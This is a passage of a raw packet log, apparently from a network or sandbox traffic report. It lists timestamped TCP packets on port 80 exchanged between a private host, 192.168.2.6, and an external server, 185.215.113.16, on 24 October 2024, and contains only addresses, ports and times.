Oct 24, 2024 18:08:23.337620974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.337625027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337641001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337651014 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.337656021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337671995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337678909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.337687016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337708950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.339967966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340034008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340059042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340075970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340090990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340106964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340217113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340243101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340312004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340357065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340372086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340411901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340425014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340434074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340440989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340456009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340466976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340496063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340512037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340517998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340900898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340915918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340924025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340939999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340955019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340964079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.340981960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.340996981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341003895 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341013908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341027021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341047049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341067076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341082096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341090918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341097116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341118097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341147900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341233015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341247082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341300964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341325998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341371059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341386080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341403008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341418028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341439962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341619968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341634989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341660023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341675997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341684103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341691017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341696978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341706038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341721058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341726065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341736078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341751099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341763973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341774940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341778040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341784954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341795921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341813087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341842890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341870070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341885090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.341892958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.341952085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.346565962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.374803066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.374896049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.374913931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.374934912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.374953032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.374957085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.374973059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.374977112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.374991894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375006914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375020981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375026941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375036955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375053883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375060081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375070095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375073910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375082016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375185966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375336885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375376940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375392914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375407934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375431061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375446081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375452995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375461102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375493050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375515938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375561953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375603914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375628948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375644922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375658989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375674009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375689030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375694036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375705957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375718117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375737906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375787020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375792980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.375813007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.375827074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376003027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376017094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376040936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376055956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376063108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376071930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376080036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376086950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376102924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376120090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376130104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376130104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376159906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376173973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376194954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376302958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376322985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376338005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376344919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376353025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376368999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376378059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376389027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376413107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376425028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376434088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376441002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376461029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376463890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376477957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376485109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376626015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.376785994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376858950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376874924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.376960039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377022028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377047062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377191067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377221107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377254009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377269983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377285004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377290964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377307892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377439022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377523899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377542019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377557039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377577066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377577066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377584934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377661943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377676964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377717018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377726078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377726078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377732038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377747059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377762079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377769947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377779007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377846956 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377857924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377890110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377906084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377912998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.377979040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.377994061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378000975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378009081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378025055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378030062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378103971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378109932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378117085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378252029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378278971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378294945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378302097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378317118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378343105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378357887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378403902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378418922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378433943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378475904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378493071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378500938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378531933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378628969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378642082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378670931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378676891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378693104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378767967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378786087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378801107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.378808975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.378997087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.379014015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.379055023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.379070044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.379169941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.410957098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.410990000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411006927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411022902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411031008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411045074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411052942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411056042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411109924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411109924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411189079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411204100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411217928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411226034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411233902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411247969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411279917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411330938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411345959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411355019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411370039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411386967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411402941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411406994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411417007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.411423922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411461115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.411986113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412030935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412055969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412071943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412091017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412113905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412116051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412127972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412142992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412163973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412360907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412375927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412393093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412394047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412410975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412415028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412425995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412441969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412445068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412772894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412789106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412795067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412803888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412825108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.412887096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412900925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412914991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412928104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.412935972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413410902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413424969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413439035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413439989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.413456917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413458109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.413471937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413487911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413507938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.413551092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413573980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.413649082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413664103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413678885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413688898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.413695097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.413717031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.426973104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.456831932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.456981897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.456995964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457010984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457062960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457084894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457083941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.457099915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457114935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457127094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457140923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457144976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.457156897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457163095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.457173109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.457191944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.459680080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459732056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459743977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459809065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459831953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459837914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.459856987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459871054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459877968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.459887028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459901094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459919930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459923029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.459932089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.459939957 CEST	49744	80	192.168.2.6	185.215.113.16
